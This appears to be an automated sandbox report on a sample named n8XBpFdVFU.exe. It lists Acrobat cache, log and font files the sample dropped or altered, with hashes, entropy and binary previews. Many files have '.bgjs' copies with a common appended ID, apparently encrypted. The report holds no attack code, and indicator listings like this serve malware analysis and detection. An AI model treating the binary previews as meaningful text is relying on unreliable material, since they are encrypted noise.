SHA-256:	D3809560908799AE1DD4A9ED444733B8AFB78DECAAC748BE34FEEFFA5FA5527E
SHA-512:	AD36838412651D2A18010FEBDB792BD6357FE61EFCD90789714D03CF75A5E57F6816461E7F2CD6855297C04457F7D1C17812AF576FD9B08649D26C6AAC2625A2
Malicious:	false
Preview:	S.z1.Wp....7E.}.b..\|.. .....\9@..6z...g..........&c{.rO...; <...WF........7...?0..Q..E...=(..)......;.....VK.r./.j^..j.j.....Z6..t../....Pp.w0.x..f.Y`.Py......U..Q...,!.F_...x1.....1.........Ib....@...4J$+..[f..hJ.....6...>.0u.^.:.....l...>E+.![.J.'+.U./..mz...9.R.Vd)..O..S.L*.Y.:.j..E....E.5.{....N....}..%M.....W..&`:.."..q.hg.....7...#8.@.....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\000003.log.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	440
Entropy (8bit):	7.502836511376533
Encrypted:	false
SSDEEP:	12:f3kG6lzp/a27s6o6Wp29WlukaX96qXd+t+ef1+cii9a:f3kG6lzVaYs6odp20E6qNGTsbD
MD5:	E3860934A90909DC70A94E711ED2E925
SHA1:	72E37045F65BE4904B2A31859286E6FDF3C14491
SHA-256:	D3809560908799AE1DD4A9ED444733B8AFB78DECAAC748BE34FEEFFA5FA5527E
SHA-512:	AD36838412651D2A18010FEBDB792BD6357FE61EFCD90789714D03CF75A5E57F6816461E7F2CD6855297C04457F7D1C17812AF576FD9B08649D26C6AAC2625A2
Malicious:	false
Preview:	S.z1.Wp....7E.}.b..\|.. .....\9@..6z...g..........&c{.rO...; <...WF........7...?0..Q..E...=(..)......;.....VK.r./.j^..j.j.....Z6..t../....Pp.w0.x..f.Y`.Py......U..Q...,!.F_...x1.....1.........Ib....@...4J$+..[f..hJ.....6...>.0u.^.:.....l...>E+.![.J.'+.U./..mz...9.R.Vd)..O..S.L*.Y.:.j..E....E.5.{....N....}..%M.....W..&`:.."..q.hg.....7...#8.@.....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	617
Entropy (8bit):	7.620207254341331
Encrypted:	false
SSDEEP:	12:kQzkOrJWy5aNTuAUfLF1GfGkVrnRW5Ggd65ZJBu2ZWJ0Bo1+cii9a:vzkOI+DafxhRW5J6pQ2ZcADbD
MD5:	DE12A557EA23A65B74169D0FFFC308A2
SHA1:	A1C207F23004AF142A2C13879B1B6809D0185DDD
SHA-256:	E2EF4567C8A4C8D1A4474CCA0E9DD77FF313A647C5B3090A4E8710641B8F1F3C
SHA-512:	6644BADB2BAD7B6EFEB5D471BF1B570E596C777963F5C773FA4965AE4338E30EB0537676CD0661BF980EB02322CB772C6778F4F7666E938C69B9C5A8A16EFFFE
Malicious:	false
Preview:	2023/.Uu........?..Z[.0.o..V.....(W...S....<..\Ou<t..%/.../...;.Hn..\E.h...ON.26ii.X..j.!.x^a..iP...%.....q.C4R`-.}.....e?...%qlJt.....T`:2......;A"f..B....q..:.N..=AD....1...w.##U..Q.fx..bq..C{r.><.Fz...n.!\|....@.{...eA...xq...Y.../...4..KK..k.....;......%...c../.,.e..X.`....p..G..d(.Qc9.I.......R5+.4..\lg...4.D.z.W.....Q.=A.....WN`...z.C'r..at]..Q.U0>:....9...!.e....Kp.xM.S..2)..=.._..[r`\|...7!.;...-.c.,..W....}.Y....`^.m....?..*.`.5...[._......J[3%e..9P.~H.:Ki4....;K.....0.C.....\y]..BH..!.q...KE...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\LOG.old.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	617
Entropy (8bit):	7.620207254341331
Encrypted:	false
SSDEEP:	12:kQzkOrJWy5aNTuAUfLF1GfGkVrnRW5Ggd65ZJBu2ZWJ0Bo1+cii9a:vzkOI+DafxhRW5J6pQ2ZcADbD
MD5:	DE12A557EA23A65B74169D0FFFC308A2
SHA1:	A1C207F23004AF142A2C13879B1B6809D0185DDD
SHA-256:	E2EF4567C8A4C8D1A4474CCA0E9DD77FF313A647C5B3090A4E8710641B8F1F3C
SHA-512:	6644BADB2BAD7B6EFEB5D471BF1B570E596C777963F5C773FA4965AE4338E30EB0537676CD0661BF980EB02322CB772C6778F4F7666E938C69B9C5A8A16EFFFE
Malicious:	false
Preview:	2023/.Uu........?..Z[.0.o..V.....(W...S....<..\Ou<t..%/.../...;.Hn..\E.h...ON.26ii.X..j.!.x^a..iP...%.....q.C4R`-.}.....e?...%qlJt.....T`:2......;A"f..B....q..:.N..=AD....1...w.##U..Q.fx..bq..C{r.><.Fz...n.!\|....@.{...eA...xq...Y.../...4..KK..k.....;......%...c../.,.e..X.`....p..G..d(.Qc9.I.......R5+.4..\lg...4.D.z.W.....Q.=A.....WN`...z.C'r..at]..Q.U0>:....9...!.e....Kp.xM.S..2)..=.._..[r`\|...7!.;...-.c.,..W....}.Y....`^.m....?..*.`.5...[._......J[3%e..9P.~H.:Ki4....;K.....0.C.....\y]..BH..!.q...KE...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	494
Entropy (8bit):	7.50888969154139
Encrypted:	false
SSDEEP:	12:GwjsZUu6Hi6Js9qgdJvVQcF99IJQAoj1+cii9a:GZqu6Hi6W7dBVpfYQDwbD
MD5:	B6F6A762EB927FB8C1BB70A23EED05A5
SHA1:	6E0E30C18764E378258040E2AD9AED4C1EA2CFA1
SHA-256:	D077C9A6B117305B24D6D6F43A6724F44528E5B75F090FC449C91602C2CD6EF4
SHA-512:	50555A89B7803477EA059EF14B9E82337A817D7EB465CEF7265C607D0A36899F3FBDF5D66BC6B2F3FB5C3679B6A416531EC93AB1AD7A650F4C36FFFD27DD9261
Malicious:	false
Preview:	.h.6..ASI......D..m.vk.v0....58.q1d.^.y1\._..jl....s"."+Va..>p..g.c.~..}...\.(....{nF..5. C..CJ3Phw6N<.."<.....P..8.. r...T... ...m...7m...NK,..t-[.i[s.k...l.........".S.W{.......:%1.T....).Hq0p.F.%.......=..b..pv].y.Jc.....G...@1......Pa;X..nw..#v..D..T...pd...>k;.^.E.dv.S..7..k.d.h,.(..w.D.`.U.~.mB.K.F:.*.G.\|...`e.a..t....R1........Zt..?.(F.....nW.GC....5....,.4.2A.\|n.._<2...[fW....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\000003.log.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	494
Entropy (8bit):	7.50888969154139
Encrypted:	false
SSDEEP:	12:GwjsZUu6Hi6Js9qgdJvVQcF99IJQAoj1+cii9a:GZqu6Hi6W7dBVpfYQDwbD
MD5:	B6F6A762EB927FB8C1BB70A23EED05A5
SHA1:	6E0E30C18764E378258040E2AD9AED4C1EA2CFA1
SHA-256:	D077C9A6B117305B24D6D6F43A6724F44528E5B75F090FC449C91602C2CD6EF4
SHA-512:	50555A89B7803477EA059EF14B9E82337A817D7EB465CEF7265C607D0A36899F3FBDF5D66BC6B2F3FB5C3679B6A416531EC93AB1AD7A650F4C36FFFD27DD9261
Malicious:	false
Preview:	.h.6..ASI......D..m.vk.v0....58.q1d.^.y1\._..jl....s"."+Va..>p..g.c.~..}...\.(....{nF..5. C..CJ3Phw6N<.."<.....P..8.. r...T... ...m...7m...NK,..t-[.i[s.k...l.........".S.W{.......:%1.T....).Hq0p.F.%.......=..b..pv].y.Jc.....G...@1......Pa;X..nw..#v..D..T...pd...>k;.^.E.dv.S..7..k.d.h,.(..w.D.`.U.~.mB.K.F:.*.G.\|...`e.a..t....R1........Zt..?.(F.....nW.GC....5....,.4.2A.\|n.._<2...[fW....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	modified
Size (bytes):	635
Entropy (8bit):	7.606646615991918
Encrypted:	false
SSDEEP:	12:klpGgvroTYjFJuO+EfkoVQ9FbOCsPTByYkEmWjeEeMYM1+cii9a:mpLroTYjFcTpo69WPTBRmWjeZbD
MD5:	D36DAF441262C86EBB1B34A47E338783
SHA1:	A0E0B48ACFEAC6E637A0CC7C87A1FA71ACA450A4
SHA-256:	337EFBFB15C9D2DB744E7A4FF40586508F296A1EAEC438E4EF45B16CED0BB5E5
SHA-512:	E38876861018061F43D9C878B33AABD934C5938C6E81D1F60F9A5B98808C0504F1C82BB9BAE52031D5E3C192F5568B72A837DC394FB4C359DF57A6104184141F
Malicious:	false
Preview:	2023/]g..d[.X \w.D...p.f..s..>.<.@..0%..-..eG8...3..5t..N.mA..Lq_...>P .\|.....&.c..h._...W.A5.dQ.qLlrN..\U...Ie.Z..T.A.4..k.>..I8...ml.f.u..%..X..#.v.).a.6..B{I"...DS.&...._...`.oO$}..1.\|.a.....&V.....9n8.P.A<9....W[m......d...ge9@...&.N.Eh)..$.....!%.5[.ug.9.jk.........@t..nRl...tlCh.6..m.L..h..-0..+Fq..^.5.."...+..S]..m.f^x..J.h.7...o....v.L0....DB..8.!.g.7....J..f/......).......[.d..JxU."..b..P..8.....00Q...g.\..).@....`.....A.gAm..S.g...Y...z.C..mV...m..2......X....Psdh=.w..PGU..M,Fh.c<.....ai....5........{.. ..d..bU.+....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\LOG.old.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	635
Entropy (8bit):	7.606646615991918
Encrypted:	false
SSDEEP:	12:klpGgvroTYjFJuO+EfkoVQ9FbOCsPTByYkEmWjeEeMYM1+cii9a:mpLroTYjFcTpo69WPTBRmWjeZbD
MD5:	D36DAF441262C86EBB1B34A47E338783
SHA1:	A0E0B48ACFEAC6E637A0CC7C87A1FA71ACA450A4
SHA-256:	337EFBFB15C9D2DB744E7A4FF40586508F296A1EAEC438E4EF45B16CED0BB5E5
SHA-512:	E38876861018061F43D9C878B33AABD934C5938C6E81D1F60F9A5B98808C0504F1C82BB9BAE52031D5E3C192F5568B72A837DC394FB4C359DF57A6104184141F
Malicious:	false
Preview:	2023/]g..d[.X \w.D...p.f..s..>.<.@..0%..-..eG8...3..5t..N.mA..Lq_...>P .\|.....&.c..h._...W.A5.dQ.qLlrN..\U...Ie.Z..T.A.4..k.>..I8...ml.f.u..%..X..#.v.).a.6..B{I"...DS.&...._...`.oO$}..1.\|.a.....&V.....9n8.P.A<9....W[m......d...ge9@...&.N.Eh)..$.....!%.5[.ug.9.jk.........@t..nRl...tlCh.6..m.L..h..-0..+Fq..^.5.."...+..S]..m.f^x..J.h.7...o....v.L0....DB..8.!.g.7....J..f/......).......[.d..JxU."..b..P..8.....00Q...g.\..).@....`.....A.gAm..S.g...Y...z.C..mV...m..2......X....Psdh=.w..PGU..M,Fh.c<.....ai....5........{.. ..d..bU.+....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	617
Entropy (8bit):	7.5975949405199135
Encrypted:	false
SSDEEP:	12:kOCAVoXId5SIyT0u4DMBwn981KzENudv0rw1QAafBJNDv1fuqT1+cii9a:YX0g34ABhszqudsk1QAwJNDv1ebD
MD5:	4F72137D89566B1A8F53F96B24C1AF65
SHA1:	32FDEFB6B19052CD51A997501883171BAD6F46FB
SHA-256:	2051DDF65F5BF723E57D0D56AF9176B1B0B58540E7DA08C34EF8FCA098B74DC4
SHA-512:	4B8E5DC60661CF2FBC09244FCAD44D61B00F6755D0AA367FE5EF2B0161E7073F4CD8E48C9539F1CF5894CC93C48AB93A9148F9CFEC1603E7025CB7645C5C1A17
Malicious:	false
Preview:	2023/..a..Wg......E.{..T..N.k..H._.......+..W...R.........$.A.V.....W."..l.v.]K5.@z.F..\|.#.b.#........<x......n\..A}.."..z..xlN....95U...i....]..F....-.....bRa;...9.1..b......W...].'..&nK{.p.....L.UU(c.Ri.@.....o,..&..Z..8Q.>..4.@X.....c.R...$._.X....k..VX[.N..."..6.H}+. .2..7F.....1.".WVC.f....VJ...~.V....5...D.tsi...,.@........H2.GR=..9l.~../H .&'lf.F....R.7_...K..Wbm...dB....i...6..'{....AXU..R...&......:...`=.7..........g_..\|j.._..g.7....sLA........6..-W;6-.gH#F.y.....u"8..[..XKn.......CC[[.0..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Adobe\AcroCef\DC\Acrobat\Cache\LocalPrefs.json

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.740258939163045
Encrypted:	false
SSDEEP:	24:YKWWufluGcaHqoyJbsNgchnZ67+YweSxOjyAbD:YbQGccn/IyaD
MD5:	EA4442BA738A61F0621A97FA8BDE4C33
SHA1:	9365379F31470336F12DDA1D5FBD2F8E3A09800A
SHA-256:	39B82FF2F59B6C9A90B2B47DEA0BE27D4ACF568041B6B01E8DDD4D4F8C8C9138
SHA-512:	0BEF7D181B0A19346102E647B04C4197F28AB55DD43CC3140B0E78C55D85E8B125FB5725DC5EDBFB741E053250F28B523808F89737154AAC7B65DF575DEA5108
Malicious:	false
Preview:	{"os_.PG.....n.h.<.A$G..Wgv<8d..nWi...2.....1.e....!.......0f.q...[.W.....5.r..Q\|czp.c....Z/Hd6..8...FoYT...%..W..Y.(.../WJ.25)c+.......j.T...Y.....`.....WDI2...J.^FQA(~?.$..~:..8=.".s...P. W.8.P.@..F..X..oC.x?o`\>..........v..q..0.F.N....L.,....v.\.Z.w0.G.;.k...J..Sb.....0..h.u<.......G....X.0P....@.?.^.{6)6;t.e.G.S....N.....aMvR.[.} F.7.....F....;........I.%@..t.`.Q.lj/....)..4.D.&..}E..F}e&p.b..zC..s...RjK..>...aa%...ae.......>.V..'.Be...Q.l3UZn.........d...{...].1.z~2=..S......1^s...}.\|.5.p.....`.... z.~....'.....f.^ys.">.\........\.Y...9 Ez.X]v.'e...)....$.....u..-../-.#s..S.,w./?i.[...=m...sMC..C^....L...Pc..\.9...O.2....<.0{...w.\.8._...^_.+Hxr!.BF>.`.#DE.>8 +.r...b9.BG.F8-....y.\.~.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	730
Entropy (8bit):	7.719675430968241
Encrypted:	false
SSDEEP:	12:SbBVsNCmhlVoL2GmA8Iygyrvq1znEwYk9fSky13rWEylNbUxHPX1+cii9a:CBVsXBojr8ItyriE+SkOWRYxvkbD
MD5:	AF226B2E768C8EB2BDF11F80D47E2A53
SHA1:	0B651563F2C1EE8688801BEBE463537C34F3BDE6
SHA-256:	A767FDD7A9EA4C9D8CD17954F48828D402D5248E51263A9EEE7710756C823B9D
SHA-512:	A8CD71EA5B002282A198FFF6CB9062F83D35F2D905954D5EB0D61B1DA33D1BEC300231AA1F5D8C3F2B19EDA845A5982D4D67F88404B9B3EB71476EA166840B52
Malicious:	false
Preview:	...#.q.......[0.?..j..3FR......=....dMdP.y>.8........j.......)..UfW..4.pa.)...oD..9...,.3b.j..BdV..T&...).7.....Z.).b0.8.l<....y.....X.Y..P$.I_..........O....JJ`c...f...<.K.kj.Q...4V....{{..P.$..C.k..O(]..D1>y.@r5.F....9.~s .#.e....).:.8...uC>...L.#....D...\|E.J.....(q.<..".P...E...~.#..b0ZL......Mc..h.[\|...D........Q.w...f...g...u.......+.,.YT/...IA....6....Q;&.Bn\.q-K.rEc..V...>b..V....Q.Z..:2......./!...J<D.....?.-.........(I...:......$}..>......mhpP1(...D.5...........{xW..!{....._.n.:...1x4.TV.4...:h8.^..J.s$.....\|S5f"...>..&..9=m5O..$#..a.x..$.Rg..,.]$.vf.W;3U$^.....Q.%......-..aeZ.j...Y3#.2..h..+).N.sPY...?.:..t..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	652
Entropy (8bit):	7.639421763615244
Encrypted:	false
SSDEEP:	12:ktCx13CBHkU8SS7vvxBKyzlcnKxsrCyrZQqY9N90/Q7deqrjOWPZ1VT/Pa7CeB6H:WOCeUO7vvxBKyenKWrCgZQqY9QQ7AqXb
MD5:	7BE8DDD7A35AE25813936FDAFFB09D77
SHA1:	6647A84F5B2B89DBF7D268B48CA0B3AF1A0CC437
SHA-256:	FCDB61915E344B7CF556CD72F2724D57FA799F2DB96C5B4B4361B36D66019AC1
SHA-512:	0EF91B5A7EA73333117625A5D65C94D7A51C84C79FAB9E1877A8729C87F56F5D2DF0047FF2F9BD977D76F7B84CACFFA7AF2A81AEDA6A1D85CCD1C758ABED67B2
Malicious:	false
Preview:	2023/.20.Wp2.....u!...< Vv.G9..3b...2n.?.[2...!.V......_...#...$U:._..X.%Uq6..e\|y!..b.1vPI..].......o..............ZL.nC.5....h.@...Sj..7........sH....."..D9.9.n.=`...H.@s..an.GD.FV.......?.:Y....0...q..iZ..D.wV...@.3..... b..K">... ....V<r..Tf]*...V.8....O..ue6.ZK..l.&.M.n.?>;......-.&..c...M.e.Qt..y......%.&M.ky.....`P....\|.`...O....Sk.3..d........oA....?.t.1..V-..c%.b.........>.b.K..M:P\|..H.....M..6..u.'T;,...c..#.]..Q<D..1....M....~..(aS>..._X\|@K...I.O.....j.."uVt.Vv..;.....N/0.....H[I..P.n..G.....W'.[..w....E....G.d.N.. .2.7R.n.. [._5a.?SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1567
Entropy (8bit):	7.876137436054765
Encrypted:	false
SSDEEP:	24:InLl6e04NoDymylHf2p2Q0sHRYhQPKORV+h/Cxchu7PvaoJ6WlrJp0Bh1WzjUbD:Ix6eDRhHf2pVxYqPpRZXTp0+jkh1WzqD
MD5:	2B5005E3F8BC5D77F1284B3832DA0653
SHA1:	67A8A470578B2D129867B0052DD31CF30D182D12
SHA-256:	C7FE12D2AD8E084F7BF7CA2EFB925B743A9F4766D7DB6B7D94008EAE786723C7
SHA-512:	9F8C803DCEE3D10693EC6B6D02CCFBEAB84F18F4FF3E93B17883AC88B2C29C8F05EA6756E88DAF93E12EC1C3AA8FBA1FB47661AD1EFBE5D8E87459C02FE7FE7C
Malicious:	false
Preview:	%!Ado.......#G..3?..............:>..#.F.Ke..E.u..#.\|k...;.6P.M.\..DuD.....L.md..X..}.!l..3..wJ.z..d2..H..4.B..>..CY.3.g.^.bn.kA..{I...d..X.=.I&........T...r...,.../E....BF~W2.. %.......iDtK.`.4#z..9..?...8e...\|.5..Xy.....]..V.n..1.....$....8......t.w.?'......;x6.b4V/!!.bOlYu..OD..w.DQ..l..O.....%..(.P.X..T....d..'...I...wc......TJ0tn..S...]..j/....iz../.."X.....".@<tpa..E........^a.<^.KD..R........P7.H.r.\|.d...r9Y...S5..5.L...f....[B..p.W.\|Htw...#.QY.";..uJ..rN..1..a....V...U..zm..{&.>0..L...V....".8.w.eG....B8..AqT.......k,v.9o.....z.oN..Wle'8$f...w..>TH..R.;..U...b....u.N......9.,#..6)...#...y...o..$\|I:.M..,"....j;..3...w....~..h..K 3......5E..a..o.`....hSW.(...Xu..M..![...'a.......~@3...).cC.f-...0.C.N..<..6....I#..../_..jtP..A.t/W..DS&...`U....4..........\............R...H.B.W.6b.}.s..-..!...z.U.Q.....%.._..Nm..#t..E.5q.@.\|gJ.c.......`.b...7.p9... .......~..b....F.....#...j's#W..d..(i..f,...+....].....S......G

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	185433
Entropy (8bit):	7.87815360136497
Encrypted:	false
SSDEEP:	3072:r6k2mAA/kOoSGk6qX2waCEIyDRwbgUI2ACSLnQxi9/809XZUMOODaj2XE07ZmanK:r6k2c/CSG496UI2ATUUx8sUM/Daj2XEJ
MD5:	6AC0D93A0647DB990FBFC296BB726449
SHA1:	C83611CF95F760F7C3F1E481EC06CCD46C32DDBB
SHA-256:	2623D5C1D975DEFB751D33C22CBD561106528308D1C643C8B9DA6574879795FA
SHA-512:	1C722D8FF1A8CB00A3F7B657AF8EC36199438CBCF45883C03890FDD2BDA5935F5E5A8BF9234A50B804675FFCC32566B342D9FF773EDA9F24019ACB73D7F36C99
Malicious:	false
Preview:	%!Ado.......K.@.......-..V..........U..e.y..A......."...8./.j... .p..e.a.....MW..G).]..Y.K...:$.yQ0#..Ta..5D.....Q.g.(......%D.......[YL.Eq..a.5...B...+`.`{...J..\|.WSk.0xj.7.9H.z.=......R-..9Z6.$+...v...Ip...O&I.cTl.3G..\|.5..S...!...f+6.v.....WZ.{ 7..V.....%.S.0'O.....7/.z..J..8..T#.P.uvjPn..YJ...m@.0..<...x......e.....`e.(..Sp."......}3.m......Z.E{.9...jC...'.(!2.zYUY_....'.eJ..x.X...`.....&....V....U\g.f".....S.k....y..(.ctM.xn.....f..M.....+..Km)G-.X6.Y..\|F..I..':l.....t..E..O....q.=..C:d..BM.v{}...3-B...>>.1..'.74...Su#...j.g... ...}.\..2.O.....N.gO.J.8..jf=...."hX.Kb.5...?Ig..t.8.k.).-_....P.5S..6...H.......^..bu<0.~..Zy.J......m.........C.9.=o....9....&..]g.i..h..,F.tnf.:.^Y..-.1....{.,~..5rq.%.......W...~.fM.#.j.d..;Bs8.....D..<.....)....t.>......T.n.)..kH>).3y..F..;.-....C.!.."..?.c.mDb6;..w...g.......W.tw...:....&rq.PC9.e./..+"...d.o~..'.v..`J.A.@...D....2.#W.jj].U.I.....'(.;...!{.....}2..4\|.......IC....x.`..c.Bt......w.

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheAcro65536.dat

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	243530
Entropy (8bit):	6.819502670796873
Encrypted:	false
SSDEEP:	3072:rbZG3npy6ZtCdJQlQQ4euDxC3Lf4Jf+JKNOi7fLYhgxezSbOolNlnG:rbcaJQ6rNDxk4Jfh7FnG
MD5:	ACC1557CAEE5E918AD9F00004A9D2B0B
SHA1:	6BE6FAD8A083375F252D945D976ABA5CF0EDFB9A
SHA-256:	CBDF013ED8D969ABCE3913984281C0696525B0454DC17EBE4B7B3345457557AB
SHA-512:	B858D29205BC281B163DC2CC14CA642DC007D2A13AC88F1D56634C3819C12CAA83350C45A2A07CEA870BD2766B2289A24D0FC1F43CF9F4C81F72E88CA2A6A48F
Malicious:	false
Preview:	AdobeJ.....`../...@..........x.....+.i....?.I....&.<....djtt.<..]....%I.\.;M.~5.+....+XB...6M.w}.x<.-G.8yB.c.....'r........,...a..g.....A....'i.?..t...p.\|.E.\|.).(J..2.3....-l!.Z.1.(5..u.~.C..x.H.r..B8....&..]...16........O..7?.?Ik....Mn.6.J...........+.+.1.{....yE..9.&...f" f..I...7.8..).."..L..9..q...zE.(..A.....+/..).e....>(r......w.+.)L..}~....,..;..J.Z.y.k._v..e(..cTc.yZ).;..Z..V.J0..g...2.......]T.<...$>E..>.... x}ys..~..$....P.ekD6......h...,..<....1.HC....l.....U.t)....0u$yV0.t...:N..(.$.+......{.m?.q}..f....`F..o...(..gxH..Za...X.........{....P...E7...Y.....d..'<.y.?L..k.....YY..pK......).v&..I.Vq..IV........_c........'M...y.)...FmC..{.J.~<...3.N....x}~6..[R...>j..$.D................[...l6...R...MW.......%...,...8p.QC.%.m}....P...'...O...~.Q..}..[.j..y..SG.b...Be.>...a8.D2}u.."..8v...@.0V.p..yeH<&1.z.P.....l.5E.v4..%......\|...6.v.`....\|.@.=....yn....i...RO.u8...eh.Is1..'..)_....YV.NM...)..2$#..yd..o..o_b... ..qi../...b.gv+I

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	3152
Entropy (8bit):	7.932043531607692
Encrypted:	false
SSDEEP:	48:YYBQCbs6HWzz2vQAq1DL8wyxasMFDiJEaZiU05CR1K0qR6krRpFpkPp6MYoPAXUX:Azz7/Ywy4V0Z1W0iHCp6boPAEt5
MD5:	D6559CC531AF4721B03470B21B3A1103
SHA1:	F06D19CB6745874D16E1D0AE4EB6E1E24B64CE75
SHA-256:	E5BFBDF7946AE1A5863332727F6BAE7924CF61635930E85B33940BB52A061931
SHA-512:	00DB2FA0A8EE8290F1986C9C32A894BD11E32FF5D81AD42BADB5FCCD856250FF3B99A3E7CD2C7E9E2A43299EA7821501996AA406CA837ECEBD6549FD93CCB2F5
Malicious:	false
Preview:	{"all.k..o..+.`p..'..I8.4....uU#Q..Nz..f.2...:...Kqf.....J.b0...Q.^v.1..s5...K.ep...N.u...n...........>.S...,{.>(.'.Y...`@....X..k.........A..C.e..O,f.~..WC....T...&aj...M....bG...U.N.......F.D.{M7.....I...~......u.f3.H.s.....!.U....o.B......&..h.T.$\|n9..6s6......Q.....jl...):7.I..X.../...rl..h.=.-.Y..kJ2.# ......(.>lY....~.{.J....1.N/y.d.L..Q..!9.9-.&.L....x....&...A[O.7.9G"c.......$....b..~....Y...uY.9....P.c.A..(..S....lTo.i..@Jd.../..Q..Y.D..0.<(..]'y...r%....xB.0..q..XC...N5_..(....e.....[Q.=Y..A...V....l\|....S+.r.T.......z.....O....u.......'].[...AINDiq.X.....WU<.....[....xoB$......Qey\|.....9.2..L....(..Xc.."..V..P'.=..G=....O.r!o.A....).8RFl..i......D].....c.ud......8T.L..P%VPF\....^.}...n..cp=]MJ.h....PS.. !...$.}....@~..........S.` T}~..0....[p..[=.-.fN.9.V....<....\..X.?$.IP.... &65.C.....Fy607..?.....q....$t.1..:w..~..3...$.7s..`Q.$d.o).i..~........p......i...\:MJ]...k.Su?P....Q..\|].."..evJ?c....#(?l.Rt.,..x.AV.. ..T..

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	67060
Entropy (8bit):	7.9973074533389665
Encrypted:	true
SSDEEP:	1536:+U+kN16nX5uh8C+w0df5nxfnbFOI8iLdaIsQcgs3aaWQoIv:+Ul6AiXnxwI8oz0qkoIv
MD5:	0343BBA90E405459517686C3AD6665F2
SHA1:	6AF5EA2BFB7683AD481C5D4780DCC1049A490DC9
SHA-256:	0765B54236C2053960AFB7FF9B7F9CEAD8381D1E15096FB412C65CECF6593ABF
